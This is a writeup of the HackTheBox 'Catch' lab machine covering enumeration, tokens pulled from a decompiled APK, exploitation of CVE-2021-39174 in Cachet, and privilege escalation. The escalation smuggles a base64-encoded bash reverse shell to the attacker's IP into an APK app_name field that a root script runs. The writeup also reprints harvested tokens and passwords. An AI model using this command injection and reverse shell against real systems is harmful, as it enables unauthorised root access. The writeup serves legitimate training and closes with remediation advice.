--- title: "Writeup - Catch (HTB)" date: 2022-04-30 slug: "writeup-catch-htb" type: "writeup-ctf" --- This is a writeup for the [Catch](https://app.hackthebox.com/machines/Catch) machine on the HackTheBox site. ## Enumeration First, let's start with a scan of our target with the following command: ```bash nmap -sV -sC -O -T4 -n -Pn -oA fastscan 10.129.180.130 ``` Five TCP ports are discovered: ![](img/image-1.webp) - 22/tcp : SSH port (OpenSSH 8.2p1) - 80/tcp : HTTP web server (Apache 2.4.41) - 3000 : Gitea 1.14.1 - 5000 : let's Chat - 8000 : Cachet (Apache 2.4.41) ![](img/image-2.webp) ## Exploit At first I start by scanning the files of the site. ![](img/image-3.webp) Nothing particular, by going on the site, there is the possibility of downloading an application: `catchv1.0.apk`. So I download it, then I unpack it with the following command: ```bash apktool d catchv1.0.apk ``` Then I look for passwords, tokens, ... ```bash ┌──(d3vyce㉿kali)-[~/catchv1.0] └─$ find ./ -type f -exec grep -H 'token' {} \; ./res/values/strings.xml: b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0 ./res/values/strings.xml: NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ== ./res/values/strings.xml: xoxp-23984754863-2348975623103 [...] ``` We find 2 tokens, one is for gitea and the other is for lets chat. I choose to start with the second one. At first I generate a request with the help of Burp. Then after some research I find on this [site](https://stackoverflow.com/questions/37302448/lets-chat-authentication-via-ajax-request) that to add a token to the request it is necessary to use `Authorisation: bearer [TOKEN]`. Now that I have the authorization, I start by listing the different rooms: ```bash GET /rooms HTTP/1.1 Host: catch.htb:5000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Authorisation: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ Cookie: connect.sid=s%3APQgPB6T9iE4OkwoXsVLWBTYYv__899Ny.v%2BdKrRNFbDrEQkPjm0kAoxdQfi6%2BsTB0AmPQ1q%2BnKns If-None-Match: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk" Connection: close ``` ```bash HTTP/1.1 200 OK X-Frame-Options: SAMEORIGIN X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: X-UA-Compatible: IE=Edge,chrome=1 Content-Type: application/json; charset=utf-8 ETag: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk" Vary: Accept-Encoding Date: Fri, 22 Apr 2022 10:31:05 GMT Connection: close Content-Length: 860 [{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}, {"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}, {"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}] ``` I find in the result 3 rooms. I try now to list the messages included in the first room. For that I use the following query: ```bash GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1 ``` I find several messages including this one: ```bash [...] "id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john : E}V!mywu_69T4C}W`", "posted":"2021-12-14T10:21:33.859Z", "owner":"61b86f15fe190b466d476bf5", "room":"61b86b28d984e2451036eb17" [...] ``` A password and a login! I try to use it on the site hosted on port 8000 : ![](img/image-4.webp) I find that the panel is version 2.4.0 of Cachet. After some research I find the CVE-2021-39174 which allows to obtain the contents of the variable `DB_username` and `DB_password`. For that I go in the notification parameters I set `Mail Driver` to SMTP. Then I fill `Mail From Address` with the following content: `${DB_username}`. I save and I refresh the page. I repeat the same procedure for the password. ![](img/image-5.webp) Finally I find the following credentials: `will / s2#4Fg0_%3!` I now have SSH access with the user will and I can get the first flag. ![](img/image-6.webp) ## Privilege escalation I start by running the [linpeas.sh](https://linpeas.sh) script to get an overview of the machine. I quickly find a script belonging to root but that I can read. ![](img/image-7.webp) ```bash #!/bin/bash ################### # Signature Check # ################### sig_check() { jarsigner -verify "$1/$2" 2>/dev/null >/dev/null if [[ $? -eq 0 ]]; then echo '[+] Signature Check Passed' else echo '[!] Signature Check Failed. Invalid Certificate.' cleanup exit fi } ####################### # Compatibility Check # ####################### comp_check() { apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml") if [ -z "$COMPILE_SDK_VER" ]; then echo '[!] Failed to find target SDK version.' cleanup exit else if [ $COMPILE_SDK_VER -lt 18 ]; then echo "[!] APK Doesn't meet the requirements" cleanup exit fi fi } #################### # Basic App Checks # #################### app_check() { APP_NAME=$(grep -oPm1 "(?<=)[^<]+" "$1/res/values/strings.xml") echo $APP_NAME if [[ $APP_NAME == *"Catch"* ]]; then echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' mv "$3/$APK_NAME" "$2/$APP_NAME/$4" else echo "[!] App doesn't belong to Catch Global" cleanup exit fi } ########### # Cleanup # ########### cleanup() { rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh) } ################### # MDM CheckerV1.0 # ################### DROPBOX=/opt/mdm/apk_bin IN_FOLDER=/root/mdm/apk_bin OUT_FOLDER=/root/mdm/certified_apps PROCESS_BIN=/root/mdm/process_bin for IN_APK_NAME in $DROPBOX/*.apk;do OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk" APK_NAME="$(openssl rand -hex 12).apk" if [[ -L "$IN_APK_NAME" ]]; then exit else mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME" fi sig_check $IN_FOLDER $APK_NAME comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME done cleanup ``` In this script one part is particularly interesting: ```bash if [[ $APP_NAME == *"Catch"* ]]; then echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' mv "$3/$APK_NAME" "$2/$APP_NAME/$4" ``` The script checks that the word `Catch` is present in the `app_name` variable of the apk file. But what is interesting is that we can put what we want before or after. I go back to the application folder that I had decompiled before. Then in the file `res/values/strings.xml` I modify the value of `app_name`. ```bash [...] Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTIzNCAwPiYxCg== | base64 -d | bash -i [...] ``` After adding a reverse shell, I recompile the application with the following command: ![](img/image-8.webp) {{< alert >}} You need apktool [v2.6.1](https://github.com/iBotPeaches/Apktool/releases/tag/v2.6.1) to do this !I now run the verification script. Then I get a reverse shell as root and I can get the last flag. {{< /alert >}} ![](img/image-9.webp) ## Recommendations To patch this host I think it would be necessary to perform a number of actions: - Do not leave tokens with access to sensitive content in an application available to all - Update Cache to avoid CVE-2021-39174 exploit - Do not use the same password for the database and a machine user - Use a stricter check for the `app_name` variable